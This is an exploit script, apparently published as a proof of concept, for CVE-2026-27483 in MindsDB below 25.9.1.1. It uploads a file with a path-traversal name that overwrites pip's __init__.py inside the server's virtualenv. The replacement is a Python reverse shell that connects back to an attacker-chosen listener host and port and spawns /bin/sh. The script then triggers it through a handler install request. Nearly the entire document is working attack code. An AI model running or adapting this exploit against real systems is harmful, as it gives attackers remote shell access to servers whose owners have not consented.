📄 MindsDB 25.9.1.1 Path Traversal

# Exploit Title: MindsDB  25.9.1.1 - Path Traversal 
    # Date: 06-03-2026
    # Exploit Author: Lohitya Pushkar (thewhiteh4t)
    # Vendor Homepage: https://mindsdb.com/
    # Software Link: https://github.com/mindsdb/mindsdb
    # Version: < 25.9.1.1
    # Tested on: Arch Linux
    # CVE : CVE-2026-27483
    # Original Advisory: https://github.com/mindsdb/mindsdb/security/advisories/GHSA-4894-xqv6-vrfq
    # Vulnerability Discovery: XlabAITeam
    
    import argparse
    import random
    import re
    import string
    import sys
    
    import requests
    from packaging.version import Version
    
    PIP_PATH = "../../../../../../venv/lib/python3.10/site-packages/pip/__init__.py"
    HANDLER = "anomaly_detection"  # query /api/handlers/ -> not installed handlers
    
    BANNER = """
    -------------------------------------
    --- CVE-2026-27483 ------------------
    --- MindsDB Path Traversal to RCE ---
    -------------------------------------
    
    [>] Found By : XlabAITeam
    [>] PoC By   : Lohitya Pushkar (thewhiteh4t)
    """
    
    try:
        parser = argparse.ArgumentParser()
        parser.add_argument("-rh", default="127.0.0.1", help="Target host")
        parser.add_argument("-rp", default="47334", help="Target port")
        parser.add_argument("-lh", help="Listener host")
        parser.add_argument("-lp", default="4444", help="Listener port")
        parser.add_argument("-u", help="Username")
        parser.add_argument("-p", help="Password")
        args = parser.parse_args()
    
        rhost = args.rh
        rport = args.rp
        lhost = args.lh
        lport = args.lp
        user = args.u
        pswd = args.p
    
        base_url = f"http://{rhost}:{rport}"
    
        print(BANNER)
        print(f"[>] Target   : {base_url}")
        print(f"[>] LHOST    : {lhost}")
        print(f"[>] LPORT    : {lport}\n")
    
        def login(username, password):
            r = requests.post(
                f"{base_url}/api/login", json={"username": username, "password": password}
            )
            if r.status_code == 200 and "token" in r.text:
                token = r.json().get("token")
                print("[+] Login successful!")
                return token
            print("[!] Login failed : ", r.status_code)
            print(f"---\n{r.text}\n---")
            return None
    
        print("[*] Checking status...\n")
        r = requests.get(f"{base_url}/api/status")
    
        if r.status_code != 200:
            print("[-] Status code :", r.status_code)
            print(f"---\n{r.text}\n---")
            sys.exit()
    
        status_json = r.json()
        ver = status_json["mindsdb_version"]
        auth = status_json["auth"]["http_auth_enabled"]
    
        print(f"[*] MindsDB Version : {ver}")
        auth_headers = {}
    
        ver_clean = Version(re.sub(r"[a-zA-Z].*$", "", ver))
        if ver_clean < Version("25.4.1.0"):
            print(
                f"[!] Version {ver} < 25.4.1.0 — may use Python 3.8/3.9, PoC targets 3.10, manually edit PIP_PATH and try again."
            )
            sys.exit(0)
        if ver_clean >= Version("25.9.1.1"):
            print(f"[!] Version {ver} is patched (>= 25.9.1.1). Aborting.")
            sys.exit(0)
    
        if auth:
            if not user or not pswd:
                print("[!] Auth is enabled. Provide --username and --password.")
                sys.exit()
            token = login(user, pswd)
            if not token:
                sys.exit()
            auth_headers = {"Authorization": f"Bearer {token}"}
        else:
            print("[*] Auth disabled — proceeding unauthenticated")
    
        shell_pl = f'''#!/usr/bin/env python3
    
    import os,pty,socket
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("{lhost.strip()}",{lport.strip()}))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    pty.spawn("/bin/sh")
    '''.replace("\n", "\r\n")
    
        fname = "".join(random.choices(string.ascii_lowercase, k=8))
    
        payload = {"name": fname, "source": fname, "source_type": "file"}
    
        infile = {"file": (PIP_PATH, shell_pl, "text/plain")}
    
        print("[*] Uploading payload :", fname)
        pr = requests.put(
            f"{base_url}/api/files/{fname}",
            data=payload,
            files=infile,
            headers=auth_headers,
        )
    
        if pr.status_code == 400:
            print("[+] Payload uploaded!")
        else:
            print("[-] Payload upload request :", pr.status_code)
            print(f"---\n{pr.text}\n---")
            sys.exit()
    
        print("[*] Triggering payload...")
        r = requests.post(
            f"{base_url}/api/handlers/{HANDLER}/install", json={}, headers=auth_headers
        )
    
    except Exception as exc:
        print("[-] Exception :", exc)
    except KeyboardInterrupt:
        sys.exit()